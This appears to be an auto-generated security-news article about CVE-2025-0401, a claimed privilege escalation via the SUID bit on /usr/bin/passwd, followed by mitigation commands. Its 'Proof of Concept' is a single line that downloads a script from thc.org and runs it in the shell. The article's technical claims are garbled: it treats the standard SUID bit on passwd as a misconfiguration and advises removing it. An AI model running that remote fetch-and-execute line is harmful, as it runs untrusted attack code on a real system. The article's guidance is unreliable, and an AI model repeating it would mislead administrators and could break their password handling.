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CVE-2025-0401 is a critical local privilege escalation vulnerability affecting systems with misconfigured `/usr/bin/passwd` SUID binaries. Attackers can exploit this flaw by chaining specific syscall sequences to gain unintended root-level access.
Exploit Summary
The vulnerability arises when the SUID bit is improperly set on /usr/bin/passwd, allowing non-root users to execute it with elevated privileges. By manipulating system calls, an attacker can bypass security checks and escalate privileges to root.
Proof of Concept (PoC)
. <(curl -SsfL https://thc.org/7350pipe)
You Should Know: Mitigation & Detection
1. Check for Vulnerable SUID Binaries
List all SUID binaries on your system:
find / -perm -4000 -type f -exec ls -la {} \; 2>/dev/null
2. Remove Unnecessary SUID Bits
Revoke SUID from `/usr/bin/passwd` if not required:
sudo chmod u-s /usr/bin/passwd
3. Verify Binary Integrity
Check if `/usr/bin/passwd` has been modified:
sudo rpm -Vf /usr/bin/passwd For RPM-based systems sudo dpkg -V /usr/bin/passwd For Debian-based systems
4. Monitor for Exploitation Attempts
Use `auditd` to track SUID executions:
sudo auditctl -w /usr/bin/passwd -p x -k suid_execution
5. Apply Kernel Hardening
Enable Kernel protections against privilege escalation:
echo 1 | sudo tee /proc/sys/kernel/yama/ptrace_scope
6. Check Running Processes for Suspicious Activity
ps aux | grep -i passwd
7. Use SELinux/AppArmor for Additional Protection
sudo setenforce 1 Enforce SELinux sudo aa-enforce /etc/apparmor.d/ Enforce AppArmor
8. Patch Management
Ensure your system is updated:
sudo apt update && sudo apt upgrade -y Debian/Ubuntu sudo yum update -y RHEL/CentOS
What Undercode Say
This exploit underscores the dangers of misconfigured SUID binaries in Linux systems. Attackers frequently abuse such weaknesses to escalate privileges stealthily. System administrators must:
– Regularly audit SUID/SGID binaries.
– Apply the principle of least privilege.
– Monitor system calls and file integrity.
– Keep systems patched against known CVEs.
Expected Output:
-rwsr-xr-x 1 root root 59976 Nov 24 2023 /usr/bin/passwd
If `/usr/bin/passwd` has the SUID bit (-rws), it may be vulnerable.
Reference: CVE-2025-0401 Exploit Details
References:
Reported By: Yahya Alabdli – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
